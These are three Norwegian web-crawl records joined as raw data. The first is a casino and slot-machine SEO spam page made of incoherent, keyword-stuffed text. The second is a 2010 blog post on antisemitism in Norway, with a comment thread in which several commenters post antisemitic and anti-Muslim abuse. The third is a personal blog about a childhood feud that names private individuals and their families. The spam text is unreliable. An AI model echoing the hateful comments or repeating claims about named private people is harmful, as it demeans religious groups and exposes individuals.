V\u00e5rt overflodssamfunn blir stadig mer individualistisk.\n\n\u00a0\n\n\n## Kj\u00f8pe gamle spilleautomater\n\nDet er gratis \u00e5 melde deg p\u00e5 et et Casumo Reel Race, men du m\u00e5 spille for ekte penger for \u00e5 kunne samle poeng. Denne modellen trakk interesse av uvanlige funksjoner. N\u00e5r klokken passerer midnatt p\u00e5 hverdager ligger majoriteten av den nordiske befolkningen og sover. Alle stiller likt, og her er det ikke innsatsen, eller omsetningen som avgj\u00f8r hvem som vinner. Det fungerer sabla godt, m\u00e5 vite. Hvor mye m\u00e5 jeg regne med \u00e5 spille for?. Jo flere sm\u00e5gevinster og komboer du f\u00e5r, jo flere poeng hanker du inn\\!. Hvert Reel Race har en minimumsinnsats pr.\n\n## Eksperttips tipping\n\nBig *Kahuna online casino slots fun spilleautomat Random Runner*. Spill uten risiko p\u00e5 Pai gow poker. Vikings Treasure online casino slots fun. Gratis underholdning med Ruby hitman. Pai Gow werewolf wild slot machine online Poker. Her kan du f\u00e5 freespin p\u00e5 online casino slots fun Big kahuna. Pr\u00f8v \u00e5 sette rekord med gratis spill p\u00e5 Lucky double. Pr\u00f8v din flaks p\u00e5 Vikings treasure.\n\nMj\u00f8sa, storg\u00e5rder, Glomma, Finnskogen, sjarmerende byer og bygder. Brosteinsbelagte gater, hyggelige butikker, koselige restauranter, elvepromenade og gjestehavn finner du midt i sentrum. Moss og regionen rundt st\u00e5r begivenhetene i k\u00f8. Det virker som ingen t\u00f8r st\u00e5 fram og si dette. Men faktum er at spilleautomatene holder det frivillige Norge i gang. Opplev den uber\u00f8rte naturen med mulighet for b\u00e5de stillhet, kanoturer, fotturer, sykkelturer og gode fiskeopplevelser.\n\n\n\nNet Entertainment jobber hele tida med \u00e5 forbedre sine produkter og de gj\u00f8r nylanseringer titt som ofte. Hold utkikk etter Hall of Gods p\u00e5 Android via Google Play og holde ogs\u00e5 utkikk her p\u00e5 MrBet. Dessverre finnes ikke Hall of Gods p\u00e5 telefonen i mobilformat, men du kan spille den som vanlig fra noen av de vanlige casinoene sine sider som har spill fra Net Entertainment. Det er ikke alle spilleautomater som kan skryte av slike bonuser og progressive jackpots. Noen app er enda ikke utviklet, men det er p\u00e5 gang\\!. P\u00e5 den m\u00e5ten kan du spille rett i mobilen.\n\n## Extra Cash Spilleautomat\n\nAutomaten du f\u00e5r frespins online casino slots fun spilleautomater Ladies Nite p\u00e5 er Fisticuffs. Pearl Lagoon, Subtopia, Mermaids Millions, Beach, Lucky Angler, Wild Water og Moby Dick. Unibet mener nemlig at du skal alltid begynne uken med noe positivt. Samtidig hjelper de deg til \u00e5 bli online casino slots fun vant til de nye funksjonene i klienten. N\u00e5 har du muligheten til \u00e5 delta i Maria sin slot airport trucchi store automatfestival i Mai. Nok sagt, last ned klienten med det samme og velg mellom et mangfold av gode spillp\u00e5 casinoet. Mai. Er du interessert i \u00e5 spille poker p\u00e5 nettet?. Mai.\n\nEr det mobilen som blir nettutstillingens tekniske medium?. Men i tillegg skal museene v\u00e6re kunnskapssentre for de som er spesielt interesserte. Om man tar innholdet i en utstilling og gj\u00f8r det todimensjonalt hvordan skiller det seg fra disse sjangrene?. Lager man nettutstillinger fordi man \u00f8nsker \u00e5 legge utstillinger p\u00e5 nettet, eller fordi man flytter museets aktivitet fra bygningen til dataskjermen?. Jeg har i det siste endret mening.\n\n## Online spilleautomater vs. landbaserede spilleautomate\\!\n\nL\u00e6s guiden Tjen penge p\u00e5 s\u00f8gemaskinerne. Han lagde billeder op af bukserne p\u00e5 Twitter for sjov, og her gik de hurtigt viralt. Seere undrer sig. Flot, bortset fra at du drukner i en million andre brugere der g\u00f8r det samme.\n\n## Tipping odds afl\n\nF\u00f8r du valg garantere at online casino slots fun den kostnadene ekstra casino classic 100 kr gratis bonuser vil v\u00e6re sluttet med normal innskudd tilleggsbonus. Selvf\u00f8lgelig siden det ble allerede lansert inn spilling bilde bingo har brakt mye innvirkning p\u00e5 enkeltpersoner selv it absolutt var presenterte \u00e5r siden, du vil fortsatt finne masser av de som erfaring s\u00e5 tiltrukket det. Mest respektert casino hus vil valgt for et selvforsynt revisor slik tilstede potensielt online casino slots fun de er uten tvil den god bakken og ogs\u00e5 til ytterligere trekke inn prospekter. R\u00e5dgivning World Wide Web Online hus til noen venn skal betale spill entusiaster?. Hver gang du bruke en internet casino er du \u00e5 bruke penger p\u00e5 p\u00e5 right.\n\n\u00a0\n\nAv redakt\u00f8r Morten St\u00f8vre\n\n", "language": "no", "__index_level_0__": "af6a3660-5499-46cc-901d-4a6b6d2c59e0"}
{"url": "https://jonasliberal.wordpress.com/2010/03/15/j%C3%B8dehat-i-norge/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:27:00Z", "text": " Jonas Stein \n\n\nFrp p\u00e5 bomtur \u2192\n\nmars 15, 2010 \u00b7 16:11\n\n# J\u00f8dehat i Norge\n\n\n\nEt typisk eksempel p\u00e5 antisemtisk propaganda i Tyskland p\u00e5 1930-tallet\n\nNRK har de siste dagene vist to rystende reportasjer om \u00f8kt j\u00f8dehat i Sverige og i Norge. I Malm\u00f8 kan man se reportasjen om den j\u00f8diske familien som flyktet fra pogromene i \u00d8st-Europa til trygghet i Sverige i 1890. I dag flykter familien fra Malm\u00f8 i Sverige av frykt for sin egen sikkerhet.\n\nNesten enda mer skremmende er reportasjen fra Norge. Hverken den j\u00f8diske familiefaren eller noen av l\u00e6rerene t\u00f8rr \u00e5 st\u00e5 fram med navn eller bilde. Etter min og mange andres mening er det sjokkerende. Dette viser en unnfallenhet overfor trakasering av j\u00f8der som jeg hadde h\u00e5pet at vi aldri noen gang skulle se igjen p\u00e5 norsk jord. Reportasjen viser at det er spesielt muslimsk ungdom som st\u00e5r for denne trakaseringen, men jeg frykter at ogs\u00e5 mange etnisk norske ungdommer direkte eller indirekte tillater antisemittismen \u00e5 vokse fram i Norge.\n\nDet var skremmende \u00e5 f\u00f8lge demonstrasjonene i Oslo mot Israels angrep p\u00e5 Gaza. I den s\u00e5kalte fredlige demonstrasjonen ble det ropt slagord som: \u00abD\u00f8d over j\u00f8dene\u00bb. Jeg er ikke enig i all den politikken som Israel st\u00e5r for, men det har lenge bekymret meg hvor unyansert og polarisert debatten rundt Midt\u00f8sten-konflikten har v\u00e6rt i Norge. Det er klart at den norske mediedekningen gir et klart bilde av at palestinerne er de snille og israelerne (j\u00f8dene) er de slemme.\n\nGerhard Helskog har skrevet et tankevekkende blogginnlegg om en rapport til det amerikanske utenriksdepartementet som\u00a0 fremhever det den synes er usympatisk i Norge. S\u00e5nn som at h\u00f8yt profilerte og respekterte nordmenn tilsynelatende setter likhetstegn mellom etnisitet og menneskelige egenskaper. Satt p\u00e5 spissen er vi ved et sp\u00f8rsm\u00e5l som burde v\u00e6rt d\u00f8dt sammen med nazismen: Tenker og handler alle j\u00f8der likt?\n\n*During January both a former prime minister and a high-profile commentator on foreign policy were accused of making anti-Semitic comments. Their statements, which questioned the ability of the United States to be objective in its Middle East policy because of high-ranking Jews in the U.S. government, were criticized as blurring the line between being Jewish and support for Israeli government policy.*\n\nDen norske \u00aber det s\u00e5 n\u00f8ye\u00bb holdningen viser seg ogs\u00e5 n\u00e5r en betrodd norsk diplomat sprer grovt sjikan\u00f8se tegninger av et annet folk til allmenn latter, uten at det tilsynelatende f\u00e5r noen konsekvenser:\n\n*In mid-January, a first secretary at the country's embassy in Saudi Arabia used a government system to e-mail a chain message with images likening Israeli soldiers to soldiers of Nazi Germany.*\n\nDet er ikke bare muslimer som er kommet til Norge med et sterkt j\u00f8dehat. De aller fleste muslimer i Norge er tolerante og tar sterk avstand fra j\u00f8dehets, slik som skjedde p\u00e5 et dialogm\u00f8te arrangert av Abid Raja. \u00c5m\u00e5s oppsummer\u00a0 behovet for nettopp dialog. Det b\u00f8r v\u00e6re m\u00e5let for\u00a0 \u00e5 l\u00f8se konflikten.\n\nLikevel er vi kommet i en helt uholdbar situasjon hvor norske j\u00f8der er redd for \u00e5 vise sin identitet. Det er gjennom de siste ti\u00e5rene skapt et klima for ordskifte i Norge som har bidradd til \u00e5 legitimere antisemittisme. Jostein Gaarder har skrevet en anti-Israel kronikk som er gjennomsyret av antisemittisme. Mads Gilbert og Torstein Dahle mener Israels politikk p\u00e5 Gazastripen kan sammenlignes med Warsawa-ghettoen. Dagbladet har en meget god artikkel som viser hvorfor det er historiel\u00f8st \u00e5 sammenligne Gaza med\u00a0 Warsawa. Det skytes raketter fra Gaza mot israelske sivile og ingen fornuftige mennesker kan tro at Israel har et m\u00e5l om \u00e5 utslette alle palestinere, slik Nazi-Tyskland systematisk ville utslette alle j\u00f8der.\n\nDet m\u00e5 gj\u00f8res noe raskt for \u00e5 stoppe det gryende j\u00f8dehatet i Norge. En god start hadde v\u00e6rt om man ikke bare diskuterte hvordan man skal stoppe muslimsk ungdom med klare antisemittiske sympatier (selv om det ogs\u00e5 er viktig), men ogs\u00e5 tok p\u00e5 alvor hvordan spesielt venstresiden i Norge har v\u00e6rt med \u00e5 bidra til et antisemittisk klima i den offentlige debatten. Synspunkt som dessverre altfor ofte har f\u00e5tt st\u00e5 uimotsagt. Et glimrende innlegg som forklarer hvordan norske j\u00f8der ser p\u00e5 den voksende antisemittismen er skrevet av Mona Levin. \u00c5 leve uten frykt. Det f\u00e5r st\u00e5 som siste ord i denne omgang.\n\n\u00c5rsaken til at man sammenligner dette tror jeg kan bero p\u00e5 at mange vet alt for lite om Holocaust. I all propagandistisk krig forsvinner ganske mye av sannheten, og man tyr gjerne til sammenligninger for \u00e5 gi uttrykk for en frustrasjon. Jeg tror mange egentlig ikke vet hva de snakker om. Den grunnleggende forskjellen er at den nasjonalsosialistiske politikken mot j\u00f8der var et tilintetgj\u00f8relsesprosjekt. J\u00f8dene skulle forsvinne fra v\u00e5r klode, sier Lorenz.\n\n### 19 responses to \"*J\u00f8dehat i Norge*\"\n\n1.   Robert S\n    \n    mars 15, 2010, kl. 17:28\n    \n    Det er helt \u00e5penbart at israels gjentatet og systematiske overgrep m\u00e5 ta mye av skylden for mye av hetsen mot j\u00f8diske milj\u00f8er. Dette skyldes blant annet at de j\u00f8diske milj\u00f8ene bare i sv\u00e6rt, sv\u00e6rt liten grad har tatt avstand fra krigsforbrytelsene. Dette er en del av FORKLARINGEN, men ingen UNNSKYLDNING. Skal vi komme til bunns i dette m\u00e5 vi v\u00e5ge \u00e5 se hele bildet. Hets og trakassering er aldri og p\u00e5 ingen m\u00e5te akseptabelt, enten det retter seg mot j\u00f8der, buddhister, muslimer, katolikker eller kristne.\n\n2.   Claes Thure Moberg\n    \n    mars 15, 2010, kl. 17:53\n    \n    Det du beskriver \u00e4r \u00f6ver huvud taget inte fr\u00e5gan om klassisk anti-semitism. Det \u00e4r fr\u00e5gan om en f\u00f6rsvarsmekanism hos Judar som upplever det som obehagligt n\u00e4r fler och fler kritiserar staten Israels politik.\n    \n    Det \u00e4r inte n\u00e5got annorlunda \u00e4n hur Norrm\u00e4n bem\u00f6tte Tyskar 20-30 \u00e5r efter kriget. Eller hur Amerikaner tyckte det var obehagligt att resa i Europa under VietNamkriget. Eller n\u00e4r vita Sydafrikaner g\u00e4rna upptr\u00e4dde med dubbla pass under Apartheidtiden.\n    \n    Staten Israel \u00e4r i dag den enda helt \u00f6ppet rasistiska staten i hela v\u00e4rlden. En stat d\u00e4r endast Judar skall ha fulla medborgerliga r\u00e4ttigheter. En stat som under 60 \u00e5r har haft som politik att f\u00f6rdriva ett annat folk fr\u00e5n sitt land f\u00f6r att sedan ta \u00f6ver det.\n    \n    Sj\u00e4lvfallet upplever Judar det som obehagligt n\u00e4r fler och fler v\u00e4rlden runt kritiserar staten Israel. \u00c4ven om de sj\u00e4lva bor och verkar n\u00e5gon helt annan stans och inte har n\u00e5got som helst ansvar f\u00f6r den f\u00f6rda politiken. De kanske inte heller solidariserar sig med den.\n    \n    Men fr\u00e5n officiellt Israeliskt h\u00e5ll har man valt att beteckna varje kritiker som Antisemit. Till och med president Obama som ju \u00e4r ganska slak i sin kritik betecknas som Judehatare. Och med det t\u00e4nkes\u00e4ttet \u00e4r det inte m\u00e4rkligt att de finner Antisemiter \u00f6verallt. \u00c4ven i Sverige och Norge.\n\n3.   Miryam\n    \n    mars 15, 2010, kl. 18:22\n    \n    I norge s\u00e5 er det bare ikke j\u00f8dehat, men ogs\u00e5 hat mot muslimer, j\u00f8dene f\u00f8ler seg truet n\u00e5r de g\u00e5r p\u00e5 skole sammen med muslimer, og det samme f\u00f8ler mange muslimer ogs\u00e5. Det finnes utrolig mange som ikke respekterer mange religioner eller utleninger. Vi m\u00e5 ikke bare stoppe j\u00f8dehetsen men ogs\u00e5 hetsen mot muslimer eller andre religioner. Det er ikke bare j\u00f8dene som f\u00f8ler seg truet her\\!\n\n4.   Abraham\n    \n    mars 15, 2010, kl. 18:57\n    \n    \u00abVi m\u00e5 ikke bare stoppe j\u00f8dehetsen men ogs\u00e5 hetsen mot muslimer eller andre religioner. Det er ikke bare j\u00f8dene som f\u00f8ler seg truet her\\!\u00bb\n    \n    Miriam\\! Fortell meg hvor i Oslo muslimer blir kalt \u00abj\u00e6vla muslimsvin\\!\u00bb eller \u00abmuslimpakk\\!\u00bb av j\u00f8disk ungdom.\n    \n    Hvor er de j\u00f8diske ungdommene som stiller seg opp p\u00e5 Universitetsplassen og truer den norske befolkning med 11. september-terrorisme?\n    \n    Hvor finnes de j\u00f8diske voldelige gjengene, som skyter p\u00e5 hverandre i Oslos gater?\n    \n    Hvor er det j\u00f8diske \u00abmoralpolitiet\u00bb, som forteller andre hvordan de skal g\u00e5 kledd, hva de skal spise og hvem de kan v\u00e6re kj\u00e6reste med?\n    \n    Hvor mange j\u00f8diske drosjesj\u00e5f\u00f8rer var det blant de over 2000 som ble tatt for skattesnyteri?\n    \n    Saken er den, Miriam, at \u00abhetsen mot muslimer\u00bb har et virkelig grunnlag. Muslimers hetsing av norske j\u00f8der, derimot, er ren rasisme.\n\n5.   Anders\n    \n    mars 15, 2010, kl. 19:03\n    \n    Hva med tiltak mot j\u00f8denes undertrykkelse og tortur av palestinere?\n\n6.   Abraham\n    \n    mars 15, 2010, kl. 19:24\n    \n    Til Anders\\!\n    \n    Hvor i Norge driver j\u00f8der med \u00abundertrykkelse og tortur av palestinere\u00bb?\n    \n    Vet du det, eller er du bare en antisemitt som ikke skyr noen midler for \u00e5 sverte j\u00f8dene?\n\n7.   Thor\n    \n    mars 15, 2010, kl. 19:29\n    \n    hets mot religion? religion er da ikke beskyttet av noe som helst. Viss jeg vil hetse en religion er jeg i min fulle rett til \u00e5 gj\u00f8re det. Jeg kan kritisere latterligj\u00f8re og hate en religion eller kultur s\u00e5 mye jeg vil. Rasisme er bare ett faktum viss den rettes mot personer p\u00e5 grunn av deres hudfarge/rase.\n    \n    Nei religioner og kulturer som er latterlige, hatske og absurde b\u00f8r og fortjener \u00e5 bli hetset latterligjort trakkasert og kritisert ved hver eneste sving. Religion m\u00e5 tr\u00e5kkes s\u00e5 langt ned i s\u00f8la at den ikke har noe rom i det offentlige slik vi i vesten har gjort med kristendommen, og M\u00c5 gj\u00f8re med islam f\u00f8r den har noe plass i v\u00e5r kultur.\n    \n    N\u00e5r det gjelder j\u00f8dehetsen som muslimene holder p\u00e5 med s\u00e5 er det grunnet i koranen og deres rassistiske intolernate religion ikke noe annet.\n\n8.   Anders\n    \n    mars 15, 2010, kl. 20:16\n    \n    Til Abraham\\!\n    \n    Mossad drepte en uskyldig palestiner p\u00e5 Lillehammer i 1973, og de impliserte ble d\u00f8mt for mordet. Etter mange \u00e5r erkjente Israel at Mossad sto bak mordet ved \u00e5 betale erstatning til offerets familie. J\u00f8dene driver undertrykkelse og tortur mot palestinere p\u00e5 Vestbredden og i Gaza \u2013 p\u00e5 ulovlig okkupert omr\u00e5de \u2013 og fortsetter med folkerettsstridig bebyggelse i de okkuperte omr\u00e5dene. (Det h\u00f8rer med til historien at israelsk h\u00f8yesterett i \u00e5rtier har godkjent tortur mot palestinere som er fengslet uten lov og dom).\n    \n    For \u00f8vrig er det jo en velkjent taktikk \u00e5 stemple alle som er kritisk til Israels blodige opptreden for antisemitter. Da slipper man \u00e5 argumentere.\n\n9.   Alamir\n    \n    mars 15, 2010, kl. 20:54\n    \n    Anders:  \n    Hva har denne saken fra 70-tallet med at j\u00f8diske barn f\u00e5r drapstrusler p\u00e5 norske skoler i dag?  \n    Er disse barna ansvarlige?\n    \n    Det virker som om du synes det er helt rettmessige trusler.\n\n10.  Jonas\n    \n    mars 15, 2010, kl. 21:27\n    \n    Hvordan kan man rettferdiggj\u00f8re hetsing av norske, j\u00f8diske skolebarn pga. staten Israels politikk? Jeg mener at Israels politikk er blitt betydelig svartmalt i norske medier, men uansett hva man mener om Israels politikk, s\u00e5 er det jo helt grusomt at man i Norge i 2010 mobber j\u00f8diske skolebarn fordi de er j\u00f8der. Rasisme er uting uansett.\n    \n    For\u00f8vrig gode innlegg fra Abraham og Alamir.\n\n11.  Naomi\n    \n    mars 15, 2010, kl. 22:21\n    \n    Anders;\n    \n    Hvorfor trekker du inn det som skjer p\u00e5 Vestbredden, n\u00e5r saken handler om det som skjer i Norge??\n    \n    Det er langt i fra bare muslimer som driver antisemitisme i norske skoler. Norsk ungdom liker \u00e5 tro at alt som skjer i media er virkeligheten. De kan nesten kalles muslimer selv, slik de holder p\u00e5 med antisemitisme. (og n\u00e5 mener ikke jeg at ALL norsk ungdom er slik).\n\n12.  xibit\n    \n    mars 15, 2010, kl. 22:42\n    \n    til Abraham\n    \n    om det hadde v\u00e6rt 100000 j\u00f8der i Norge. da hadde de lagt helvete for deg.\n\n13.  Tintin\n    \n    mars 15, 2010, kl. 22:46\n    \n    @ Thor: \u00abReligion m\u00e5 tr\u00e5kkes s\u00e5 langt ned i s\u00f8la at den ikke har noe rom i det offentlige slik vi i vesten har gjort med kristendommen, og M\u00c5 gj\u00f8re med islam f\u00f8r den har noe plass i v\u00e5r kultur.\u00bb\n    \n    \u2013 Is\u00e5fall m\u00e5 vi huske p\u00e5 \u00e5 tr\u00e5kke troen p\u00e5 engler, engleskoler og alle som har med det \u00e5 gj\u00f8re ogs\u00e5 langt ned i s\u00f8la.\n    \n    @ Claes Thure Moberg: Siden jeg er imot Saudi-Arabias politikk er det derfor greit dersom jeg g\u00e5r rundt og slenger med leppa, er voldelig og truer muslimske barn i nabolaget mitt i Oslo?\n\n14.  margit\n    \n    mars 16, 2010, kl. 08:36\n    \n    Kj\u00e6re Gud, la oss f\u00e5 kun en religion \u00e5 forholde oss til p\u00e5 denne planeten vi bor p\u00e5. Amen.\n\n15.  Casper\n    \n    mars 16, 2010, kl. 18:17\n    \n    For ordens skyld\u2026.\n    \n    Muslimer kan ikke v\u00e6re anti-semitter, da de selv er Semitter\u2026.\n    \n    De kom ikke vandrende ut fra intet i 1948\u2026..\n\n16.  Norsk politi\n    \n    mars 19, 2010, kl. 09:55\n    \n    En religion skal bli: Islam \\!\\!\\!\n\n17.  Jan Arild\n    \n    mars 19, 2010, kl. 11:32\n    \n    Jeg forrakter j\u00f8dedommen og dens tillhengere, disse onde tyvene som stjeler land fra andre har jeg ingenting til overs for. Kanskje kan denne ekle j\u00f8derepresentanten Anne Sender snart fatte at om Israel slutter \u00e5 drepe uskyldige, slutter \u00e5 stjele land og ikke minst holde en avtale i mer enn 5 min, da vil kanskje ikke s\u00e5 mange syns hun representerer verdens ondeste religion/nasjon. J\u00f8der og Israel sjokkerer meg med sitt barbari, hvorfor er jeg en rasist n\u00e5r jeg reagerer med avsky? Jeg reagerte med avsky da jeg fikk vite hva nazistene gjorde mot j\u00f8der og andre under 2. verdenskrig. Skal det ung\u00e5s at skjer en gang til s\u00e5 m\u00e5 j\u00f8dene/Israel slutte \u00e5 oppf\u00f8re seg slik de gj\u00f8r n\u00e5.  \n    Men de finner nok en eller annen muslim \u00e5 skylde p\u00e5 som vanlig..\n\n18.  Madeleine\n    \n    mars 21, 2010, kl. 17:15\n    \n    Alle ser p\u00e5 j\u00f8dene som \u00bbuskyldige mennesker\u00bb ja, de var uskyldige i 2.vk. Hitler drepte mange j\u00f8der. Skolene i Norge tar med elever p\u00e5 tur til polen for \u00e5 se hvor uskyldig j\u00f8dene var den gangen, men hvorfor tar de ikke med elevene til gaza for \u00e5 se hvor uskyldig de er\\!\\!?? J\u00f8dene har ikke l\u00e6rt hvordan det er \u00e5 bli drept, de ble torturert og drept av tyskerne men se hva de gj\u00f8r n\u00e5 da? Er dem uskyldig n\u00e5??\n\n19.  Madeleine\n    \n    mars 21, 2010, kl. 17:16\n    \n    Det eneste israel gj\u00f8r , er \u00e5 okkupere sm\u00e5 land.. hahah feiginger ass\n\n", "language": "no", "__index_level_0__": "130ba2e7-6917-4312-8651-3124b4f497c5"}
{"url": "https://ribsskog.wordpress.com/2009/01/31/statcounter-noen-s%C3%B8ker-pa-erik-ribsskog-voldelig-mot-geir-arne-mm-pa-google-in-norwegian/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:43:58Z", "text": "# Erik Ribsskog\n\n-----\n\n\u00ab Her er bilde av meg, tatt med det nye mobilkameraet. Jeg har til og med ringer under \u00f8ya n\u00e5r jeg er arbeidsledig, for jeg driver med for mye\u00a0greier.\n\n\nNei, jeg kan ikke si at jeg har v\u00e6rt voldelig mot Geir Arne.\n\nVi var uvenner rett og slett.\n\nJeg f\u00e5r forklare det fra starten.\n\nJeg bodde jo i Larvik, p\u00e5 70-tallet, men om sommerne, og i de andre feriene, s\u00e5 pleide jeg \u00e5 v\u00e6re p\u00e5 Sand og p\u00e5 Berger\u00e5sen da.\n\nBesteforeldre min, \u00c5got Mogan Olsen og \u00d8ivind Olsen, bodde p\u00e5 Sand.\n\nOg firmaet til farfaren min, Str\u00f8mm Trevare A/S, det l\u00e5 like ved huset dems da.\n\nOg der jobba faren min, Arne Mogan Olsen, og onkelen min, H\u00e5kon Mogan Olsen.\n\nB\u00e5de faren min og onkelen min bodde p\u00e5 Berger\u00e5sen, ca. en kilometer fra Sand.\n\nBerger\u00e5sen er et byggefelt, som ble bygget p\u00e5 begynnelsen av 70-tallet.\n\nB\u00e5de Sand og Berger\u00e5sen ligger i Svelvik kommune, nord i Vestfold og ca. tre mil s\u00f8r for Drammen, langs Drammensfjorden.\n\nS\u00e5 s\u00e5nn er det.\n\nDet som skjedde, var at jeg var jo en del hos farmora mi, p\u00e5 Sand, i sommerferiene p\u00e5 70-tallet da, siden faren min jobba der.\n\nOg faren min var ikke gift, s\u00e5 de f\u00f8rste \u00e5ra, s\u00e5 bodde han ogs\u00e5 i huset p\u00e5 Sand der.\n\nHan var skilt fra moren v\u00e5r, Karen Ribsskog, som n\u00e5 er d\u00f8d, men hun har ogs\u00e5 bodd p\u00e5 Berger\u00e5sen faktisk.\n\nFrem til 1973, var det vel, da tok hun med meg og s\u00f8stra mi, og flytta f\u00f8rst til foreldrene sine p\u00e5 Klokkarstua i Hurum, p\u00e5 andre siden av fjorden, og etter det til Larvik.\n\nMen vi var p\u00e5 Sand og Berger\u00e5sen i feriene da, jeg og s\u00f8stra mi, bortsett fra et \u00e5r eller to, midt p\u00e5 70-tallet, da mora v\u00e5r nekta faren v\u00e5r, \u00e5 noe med oss \u00e5 gj\u00f8re.\n\nHelt til 1976, m\u00e5 det vel ha v\u00e6rt, da faren min og broren hans Runar, kidnappa meg og s\u00f8stra mi, da vi bodde p\u00e5 Mellomhagen, p\u00e5 \u00d8stre Halsen.\n\nS\u00e5 det kan kanskje ha v\u00e6rt i 1977, som jeg var p\u00e5 Sand.\n\nOg da leika jeg med Geir Arne da.\n\nOg da ville han ikke komme i bursdagen min.\n\nS\u00e5 da blei vi litt uvenner.\n\nFamilien hans bodde i ei hytte, i veien ned til Snippen der, noen hundre meter fra der farmora mi og farfaren min bodde da.\n\nS\u00e5 flytta jeg til Berger, i 1979, og bodde hos faren min.\n\nOg da advarte faren min meg mot Geir Arne.\n\nHan sa at J\u00f8rgensen, de var det et eller annet med, til farmora mi, s\u00e5 de burde man ikke ha noe med \u00e5 gj\u00f8re.\n\nS\u00e5 jeg gadd ikke \u00e5 ha noe med Geir Arne \u00e5 gj\u00f8re.\n\nS\u00e5 vi var uvenner da.\n\nHan hadde oftest to-tre stykker med seg.\n\nJan, som bodde like ved butikken, med lys afrosveis, og Jan-Rune, s\u00f8nnen til Havre, som eide Sandbu Tepper.\n\nDe var liksom gjengen p\u00e5 Sand.\n\nSeinere, s\u00e5 flytta Ditlev Castelan, eller Castellan, ogs\u00e5 til Sand, fra Nesodden, tror jeg.\n\n(Han har n\u00e5 bytta navn til 'Don Ditlev Castelan').\n\nMen men.\n\nS\u00e5 da ble det en enda st\u00f8rre gjeng p\u00e5 Sand.\n\nMen, jeg var aldri med i den gjengen.\n\nFor faren min advarte meg mot Geir Arne.\n\nMen vi var uvenner.\n\nMen jeg var ganske tynn, og d\u00e5rlig til \u00e5 sl\u00e5ss.\n\nS\u00e5 jeg har aldri sl\u00e5tt Geir Arne, for eksempel.\n\nFor jeg hadde aldri l\u00e6rt \u00e5 sl\u00e5 ordentlig.\n\nMen, jeg fikk en p\u00e5 tryne av han en gang, som jeg jagde han.\n\nS\u00e5 jeg har nok pr\u00f8vd \u00e5 jage han, og skremme han, noen ganger, under oppveksten.\n\nMen oftest s\u00e5 har han hatt en hel gjeng rundt seg.\n\nS\u00e5 vi bare unngikk hverandre, for det meste.\n\nMen jeg ville at han skulle ha litt respekt, s\u00e5nn at han ikke begynte \u00e5 tulle med eiendommen til besteforeldra mine p\u00e5 Sand, for eksempel.\n\nEller tulla med verkstedet der.\n\nFor han Geir Arne hadde visst rappa noe sprengtr\u00e5d, som l\u00e5 like ved verkstedet da.\n\nOg da mente Geir Arne, at han hadde lov til det, siden det var Lersbryggen som eide eiendommen, eller noe s\u00e5nt.\n\nOg en gang s\u00e5 var det noen som hadde driti, inne p\u00e5 et lager, som faren min hadde, borte ved et sted som het Saga.\n\nDer hvor Jensen M\u00f8bler er n\u00e5.\n\nOg da trodde faren min at det var Geir Arne, som hadde bryti seg inn og driti der da.\n\nOg det var vel da jeg gikk i fjerde eller femte klasse.\n\nS\u00e5 da sa jeg det til Geir Arne da, p\u00e5 skolen, i gangen p\u00e5 Berger skole der, at faren min skulle arrestere han, siden han hadde driti p\u00e5 lageret.\n\n(Men jeg mente 'anmelde').\n\nMen jeg var ikke s\u00e5 god p\u00e5 s\u00e5nne politi-utrykk.\n\nMen men.\n\nS\u00e5 dette foregikk, i mange \u00e5r.\n\nJeg bodde p\u00e5 Berger fra 1979, til jeg flytta til Oslo, i 1989.\n\nOg vi var vel stort sett uvenner hele tida.\n\nUntatt de siste par \u00e5ra kanskje, da krangla vi ikke noe og s\u00e5nn.\n\nDa var dem, Ditlev og Geir Arne til og med p\u00e5 bes\u00f8k hos meg, et par ganger.\n\nSelv om jeg fulgte med skikkelig p\u00e5 dem.\n\nMen men.\n\nMer da.\n\nJo, en gang, da jeg gikk i 7. klasse for eksempel.\n\nDa syntes jeg og s\u00f8stra mi og Christell, og kanskje Gry Stenberg.\n\nVi syntes det var artig \u00e5 leike butikk.\n\nS\u00e5 vi solgte noen gamle leker og s\u00e5nn, p\u00e5 et bord, utafor huset, der hvor jeg bodde aleine.\n\nS\u00e5 kom de andre ungene p\u00e5 Berger\u00e5sen, og kj\u00f8pte tinga v\u00e5re da.\n\nNoe s\u00e5nt.\n\nS\u00e5 det gjorde vi et par-tre ganger kanskje.\n\nVi kjeda v\u00e5rs da.\n\nDet var nesten som loppemarked, eller garasjesalg da.\n\nMen da, s\u00e5 kom jeg p\u00e5 skolen, i 7. klasse, tror jeg det m\u00e5 ha v\u00e6rt.\n\nOg da spredde Geir Arne rykter, foran de jentene i klasse fra Svelvik osv.\n\nAt jeg og s\u00f8stra mi og Christell, at vi hadde solgt tinga v\u00e5re, for at faren min skulle f\u00e5 r\u00e5d til bensin.\n\nMen, det var ikke sant i det hele tatt.\n\nVi hadde masse ting, selv om jeg ikke hadde s\u00e5 kule kl\u00e6r.\n\n(Jeg var mer opptatt av ting).\n\nOg, faren min hadde ikke noe med det her \u00e5 gj\u00f8re.\n\nVi bare solgte noen av de gamle tinga v\u00e5re, for moro skyld, for vi syntes det var morsomt.\n\nJeg hadde nok av penger og ting, det hadde jeg alltid, s\u00e5 det var ingen fare.\n\nMen da skulle han Geir Arne og vel ogs\u00e5 Ditlev, ha det til, at det var for at vi skulle f\u00e5 penger til bensin til bilen til faren v\u00e5r.\n\nDet var s\u00e5 bak m\u00e5l, s\u00e5 jeg gadd ikke \u00e5 kommentere det engang.\n\nS\u00e5 det er vel litt s\u00e5nn mafia-aktig juging, vil jeg si.\n\nS\u00e5 om Geir Arne og Ditlev var noe mafia-greier.\n\nOg at det var derfor jeg ikke fikk lov til \u00e5 ha noe med han Geir Arne \u00e5 gj\u00f8re?\n\nHva vet jeg, det er mulig.\n\nGeir Arne hadde vel tre yngre s\u00f8sken, tror jeg.\n\nS\u00e5 de bodde vel seks stykker, i ei lita hytte, s\u00e5 det ut som for meg, p\u00e5 veien ned til Snippen.\n\nS\u00e5 hvis det var noen som hadde d\u00e5rlig r\u00e5d, s\u00e5 var det vel dem.\n\nBare for \u00e5 mobbe litt tilbake.\n\nMen men.\n\nOg s\u00e5nn var det ofte, at dem holdt p\u00e5, Ditlev og Geir Arne.\n\nJeg har skrevet om mer av de tingene de gjorde, p\u00e5 bloggen tidligere, s\u00e5 det er bare \u00e5 trykke p\u00e5 de 'label'-ene, med navnene dems, 